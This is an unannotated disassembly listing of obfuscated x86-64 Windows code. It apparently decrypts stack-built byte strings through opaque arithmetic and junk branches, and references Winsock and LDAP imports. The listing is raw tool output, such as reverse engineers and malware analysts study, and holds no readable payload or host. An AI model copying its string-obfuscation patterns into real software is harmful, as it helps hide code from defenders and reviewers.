lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140208ca5
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x140208c48
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x8c0], cl
add r10, rsi
jmp 0x140208ca5
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
sub r9, rsi
jmp 0x140208d04
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x14
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140208d04
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x34
movzx eax, byte [rbp + r9 + 0x8c0]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x140208250
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020824d
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x14020823d
lea rdx, [rbp + 0x16f0ff0]
jmp 0x140208d6e
lea rdx, [rbp + 0x68a354]
jmp 0x140208d6e
lea rdx, [rbp + 0x8c0]
lea rcx, [rbp + 0x4c0]
call fcn.14009ef00
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1ec0]
call fcn.14026a60a
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140208da3
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r9d, r15d
mov r8d, r14d
lea rcx, [rbp + 0x1ec0]
call fcn.14018c840
nop
lea rcx, [rbp + 0x1ec0]
call fcn.140266950
nop
lea rcx, [rbp + 0x1ec0]
call fcn.1400a3400
nop
mov rcx, rbx
call fcn.1400aacb0
mov byte [rbp + 0x780], 0xcb
mov byte [rbp + 0x781], Ordinal_143
mov byte [rbp + 0x782], 0xac
mov byte [rbp + 0x783], 0xf3
mov byte [rbp + 0x784], Ordinal_79
mov byte [rbp + 0x785], 0xf1
mov byte [rbp + 0x786], WSAStartup
mov byte [rbp + 0x787], 0xf7
mov byte [rbp + 0x788], 0x55
mov byte [rbp + 0x789], 0xf5
mov byte [rbp + 0x78a], 0xa2
mov byte [rbp + 0x78b], 0xfb
mov byte [rbp + 0x78c], 0x66
mov byte [rbp + 0x78d], 0xf9
mov byte [rbp + 0x78e], 0x55
mov byte [rbp + 0x78f], 0xff
mov byte [rbp + 0x790], 0x59
mov byte [rbp + 0x791], 0xfd
mov byte [rbp + 0x792], WSAStartup
mov byte [rbp + 0x793], 0xe3
mov byte [rbp + 0x794], 0x47
mov byte [rbp + 0x795], 0xe1
mov byte [rbp + 0x796], Ordinal_79
mov byte [rbp + 0x797], 0xe7
mov byte [rbp + 0x798], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x799], 0xe5
mov byte [rbp + 0x79a], 0x42
mov byte [rbp + 0x79b], 0xeb
mov byte [rbp + 0x79c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x79d], 0xe9
mov byte [rbp + 0x79e], r15b
mov byte [rbp + 0x79f], 0xef
mov byte [rbp + 0x7a0], 0xb8
mov byte [rbp + 0x7a1], 0xed
mov byte [rbp + 0x7a2], 0x87
mov byte [rbp + 0x7a3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x7a4], 0x44
mov byte [rbp + 0x7a5], Ordinal_211
mov byte [rbp + 0x7a6], r15b
mov byte [rbp + 0x7a7], Ordinal_217
mov byte [rbp + 0x7a8], 0x81
mov byte [rbp + 0x7a9], Ordinal_217
mov byte [rbp + 0x7aa], 0x7e
mov byte [rbp + 0x7ab], 0xdb
mov byte [rbp + 0x7ac], 0x7c
mov byte [rbp + 0x7ad], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x7ae], WSAStartup
mov byte [rbp + 0x7af], 0xdf
mov byte [rbp + 0x7b0], Ordinal_143
mov byte [rbp + 0x7b1], 0xdd
mov byte [rbp + 0x7b2], 0x64
mov byte [rbp + 0x7b3], Ordinal_200
mov byte [rbp + 0x7b4], WSAGetLastError
mov byte [rbp + 0x7b5], 0xc1
mov byte [rbp + 0x7b6], 0x54
mov byte [rbp + 0x7b7], Ordinal_200
mov byte [rbp + 0x7b8], Ordinal_200
mov byte [rbp + 0x7b9], Ordinal_200
xor eax, eax
mov dword [rbp + 0x7ba], eax
mov word [rbp + 0x7be], ax
mov bl, byte [rsp + 0x50]
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
mov r9, r13
cmp r9, r15
jae 0x140209b88
movzx r8d, byte [rbp + r9 + 0x780]
mov r11, r8
cmp rdi, r9
ja 0x140209b7f
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140208fe1
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
sub bl, 0x32
jmp 0x14020901b
je 0x140209af2
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140209a9b
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140209a44
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140209a1b
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1402099d1
cmp r10, r9
ja 0x140209b76
lea rax, [r10 + 4]
cmp rdi, rax
jae 0x14020904d
movabs rdx, 0xe621106c29a91096
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x1a
add bl, dl
jmp 0x140209081
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1402099b3
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140209991
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140209962
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14020994e
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1402095f6
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x1402095d5
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x1402095af
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14020958c
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140209578
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140209556
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140209533
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x14020950f
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x1402094ec
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1402094c6
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14020908e
lea rdi, [r10 + 0x200]
lea r10, [rdi + 0x28]
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x140209b50
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x140209b2a
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x14020928b
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x140209265
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x140209243
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x1402094a2
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x140209415
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x1402093f7
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x1402093c9
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x14020908e
lea rdi, [r10 + 0x64]
lea r10, [rdi + 0x400]
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x1402093b5
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x140209393
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x140209371
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x14020934b
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x140209328
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x140209307
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x1402092e5
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1402092c2
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x1402092ae
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x14020908e
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 1]
jmp 0x14020908e
movabs rcx, 0x7954c208e2fd862a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x26
jmp 0x140209081
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020901b
movabs rdx, 0x108b6992c2ac8f32
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5e
add bl, dl
jmp 0x140208faa
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_26
jmp 0x1402099e0
movabs rcx, 0x7ca3d7263d200934
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x140209a16
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x140209a3c
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1402098f1
movabs rcx, 0x5f75d2750ca696c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r15b
jmp 0x140209920
movabs rdx, 0xab112639fc7e1b44
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020997f
movabs rcx, 0xf6ac79feec559fc8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x140209a65
movabs rcx, 0x4247cdc3dc2d244c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x140209abf
movabs rdx, 0x8de32188cc04a8d0
mov ecx, Ordinal_41
jmp 0x1402094d5
movabs rdx, 0x4ae772f5239f741a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
mov byte [rbp + r9 + 0x780], bl
jmp 0x140209b22
movabs rdx, 0x9682c6ba1376f89e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x52
jmp 0x14020946b
movabs rdx, 0xe21e1a7f034e7d22
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, r15
jae 0x1402098d0
lea rax, [r10 + 0x200]
cmp rdi, rax
jbe 0x140209810
movabs rdx, 0xe41f9575967bc6dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
cmp r10, 0x1000
jb 0x1402093ea
movabs rdx, 0xf00e4fc4381099b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1402099f2
movabs rdx, 0x2db96e43f32601a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14020961b
movabs rdx, 0x64c66288f9f66384
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140209b13
movabs rdx, 0xb061b64de9cde808
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x140209abf
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140209a63
movabs rcx, 0x47985dd7c97cf110
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x14020997f
movabs rcx, 0x9333b19cb9547594
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x140209920
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_46
jmp 0x140209316
movabs rcx, 0x2a6a592699037e9c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x140209a3c
movabs rdx, 0x7605aceb88db0320
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140209a16
movabs rdx, 0xc1a100b078b287a4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x1402099f0
lea rax, [r10 + 8]
cmp rdi, rax
jae 0x14020965e
movabs rdx, 0xda32561d88143dbe
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x32
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 6
je 0x140209925
lea rax, [r10 + 0x10]
cmp rdi, rax
jbe 0x140209743
movabs rdx, 0xfdfe85096cd2b646
add rdx, r9
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140209436
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14020968a
movabs rcx, 0xcc4220d85352212c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x140209b13
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1402096b7
movabs rdx, 0x350b794e73a31824
add rdx, r9
mov al, dl
and al, r8b
mov ecx, r14d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140209a65
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1402096e6
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140209920
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140209710
movabs rdx, 0x52397dffa41c8a98
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x28
jmp 0x1402098f4
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14020961d
movabs rdx, 0xbb02d675c46d8190
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140209a16
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14020976d
movabs rdx, 0xb26331447cfb31c2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4e
jmp 0x1402099f0
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140209797
movabs rdx, 0xcf9135f5ad74a436
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7a
jmp 0x1402098f4
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1402097b4
movabs rdx, 0x83f5e230bd9d1fb2
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x1402096cf
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1402097e0
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x42
jmp 0x14020997f
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140209436
movabs rcx, 0x5588931cfe3f0da2
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6e
jmp 0x140209b13
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14020983c
movabs rcx, 0x988441b0a6a44258
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x140209b13
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140209866
movabs rdx, 0x14d9a26c6f53950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x140209a63
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140209883
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x1402096cf
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1402098a0
movabs rdx, 0xd2e04b1307972740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140209a2a
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14020946d
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
jmp 0x140209a16
movabs rdx, 0xa472fbff48391530
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x780]
sub bl, al
sub bl, 0x50
add bl, r8b
add bl, dl
movabs rdx, 0x7ea5521cd04d52ee
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x780], cl
add rdi, r10
jmp 0x14020997f
movabs rdx, 0x58d7a83a586190ac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x780]
jmp 0x14020952b
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x14020951e
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x72
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140209b22
movabs rcx, 0x34f151d5a22830a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x46
jmp 0x140209a3c
movabs rdx, 0x9a85bca739d18c12
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7e
jmp 0x1402099f0
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rcx, 0xca40a5e1c024d772
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1e
add cl, r8b
mov byte [rbp + r9 + 0x780], cl
add r10, rsi
jmp 0x140209a3c
movabs rdx, 0xc8f30bbaf92f9e22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
sub r9, rsi
jmp 0x140209b22
mov r8, r11
movabs rdx, 0xf7605aceb88db032
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov bl, r11b
sub bl, al
sub bl, 0x5e
add bl, dl
movabs rdx, 0x3309fe57e075ce6a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x780], al
add r10, rsi
add rax, r10
sub r9, rax
jmp 0x140209abf
movabs rdx, 0x42fbae93a86534b6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
mov r8b, r11b
movabs rcx, 0xd3c5475688a0c28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x780], cl
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140209b13
movabs rdx, 0x8e970258983cb93a
add rdx, r9
mov al, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movzx eax, byte [rbp + r9 + 0x780]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x140208f98
movabs rdx, 0x5c26bd57b28413b6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140208f95
movabs rdx, 0xa7c2111ca25b983a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140208f85
lea rdx, [rbp + 0x1598328]
jmp 0x140209b8f
lea rdx, [rbp + 0x16dc0e6]
jmp 0x140209b8f
lea rdx, [rbp + 0x780]
lea rcx, [rbp + 0x4e0]
call fcn.14009ef00
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1fd0]
call fcn.14026a60a
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140209bc4
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r9d, r15d
mov r8d, r14d
lea rcx, [rbp + 0x1fd0]
call fcn.14018c840
nop
lea rcx, [rbp + 0x1fd0]
call fcn.140266950
nop
lea rcx, [rbp + 0x1fd0]
call fcn.1400a3400
nop
mov rcx, rbx
call fcn.1400aacb0
mov byte [rbp + 0xd90], 0xe3
mov byte [rbp + 0xd91], 0xad
mov byte [rbp + 0xd92], 0xec
mov byte [rbp + 0xd93], 0xab
mov byte [rbp + 0xd94], ntohl
mov byte [rbp + 0xd95], 0xa9
mov byte [rbp + 0xd96], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xd97], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xd98], 0x3d
mov byte [rbp + 0xd99], __WSAFDIsSet
mov byte [rbp + 0xd9a], r13b
mov byte [rbp + 0xd9b], __WSAFDIsSet
mov byte [rbp + 0xd9c], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xd9d], __WSAFDIsSet
mov byte [rbp + reloc.WS2_32.dll_listen9e], 0xd
mov byte [rbp + 0xd9f], 0x9f
mov byte [rbp + 0xda0], 7
mov byte [rbp + 0xda1], 0x9d
mov byte [rbp + 0xda2], 5
mov byte [rbp + 0xda3], 0x9b
mov byte [rbp + 0xda4], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xda5], 0x99
mov byte [rbp + 0xda6], Ordinal_46
mov byte [rbp + 0xda7], 0x87
mov r12d, reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xda8], r12b
mov byte [rbp + 0xda9], 0x85
mov byte [rbp + 0xdaa], Ordinal_217
mov byte [rbp + 0xdab], 0x83
mov byte [rbp + 0xdac], 0x3d
mov byte [rbp + 0xdad], 0x81
mov byte [rbp + 0xdae], Ordinal_50
mov byte [rbp + 0xdaf], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xdb0], Ordinal_46
mov byte [rbp + 0xdb1], Ordinal_143
mov byte [rbp + 0xdb2], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xdb3], Ordinal_143
mov byte [rbp + 0xdb4], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xdb5], Ordinal_143
mov byte [rbp + 0xdb6], 0x64
mov byte [rbp + 0xdb7], 0xf7
mov byte [rbp + 0xdb8], 0x5c
mov byte [rbp + 0xdb9], 0xf5
mov byte [rbp + 0xdba], 0x62
mov byte [rbp + 0xdbb], 0xf3
mov byte [rbp + 0xdbc], 0xaa
mov byte [rbp + 0xdbd], 0xf1
mov byte [rbp + 0xdbe], 0xa2
mov byte [rbp + 0xdbf], 0xff
mov byte [rbp + 0xdc0], 0xae
mov byte [rbp + 0xdc1], 0xfd
mov byte [rbp + 0xdc2], 0x57
mov byte [rbp + 0xdc3], 0xfb
mov byte [rbp + 0xdc4], 0x60
mov byte [rbp + 0xdc5], 0xf9
mov byte [rbp + 0xdc6], Ordinal_79
mov byte [rbp + 0xdc7], 0xe7
mov byte [rbp + 0xdc8], 0xb6
mov byte [rbp + 0xdc9], 0xe5
mov byte [rbp + 0xdca], 0x77
mov byte [rbp + 0xdcb], 0xe3
mov byte [rbp + 0xdcc], 0x7d
mov byte [rbp + 0xdcd], 0xe1
mov byte [rbp + 0xdce], 0x47
mov byte [rbp + 0xdcf], 0xef
mov byte [rbp + 0xdd0], 0xec
mov byte [rbp + 0xdd1], 0xed
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xdd2], xmm0
mov qword [rbp + 0xde2], rax
mov byte [rbp + 0xdea], al
mov bl, byte [rsp + 0x50]
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x5b
jae 0x14020a9b2
movzx r8d, byte [rbp + r9 + 0xd90]
mov r11, r8
cmp rdi, r9
ja 0x14020a9a9
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140209e4b
movabs rcx, 0xfa317cbfea226b1a
add rcx, r9
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
add bl, 0x4a
jmp 0x140209e85
je 0x14020a922
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14020a895
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14020a85f
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14020a815
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14020a7ec
cmp r10, r9
ja 0x14020a9a0
lea rax, [r10 + 0x7a]
cmp rdi, rax
jae 0x140209eab
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x14020a092
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14020a7a6
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14020a786
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14020a763
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14020a740
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14020a3f3
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14020a3d2
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14020a3ac
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x14020a389
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14020a368
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14020a354
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14020a331
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14020a31d
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14020a2fc
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x14020a2d6
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x140209eec
lea rdi, [r10 + 0x61]
lea r10, [rdi + 0x1000]
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14020a97d
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x14020a957
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14020a0cc
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x14020a0a9
lea rax, [r10 + 2]
cmp rdi, rax
jb 0x14020a083
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x14020a2b5
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14020a25b
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x14020a20c
lea rdi, [r10 + 0x80]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14020a1e9
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x14020a1c8
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14020a1b4
lea rax, [r10 + 9]
cmp rdi, rax
ja 0x14020a191
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x14020a17d
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14020a15c
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x14020a136
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x14020a113
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14020a0f2
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x140209eec
lea rdi, [r10 + 0x1000]
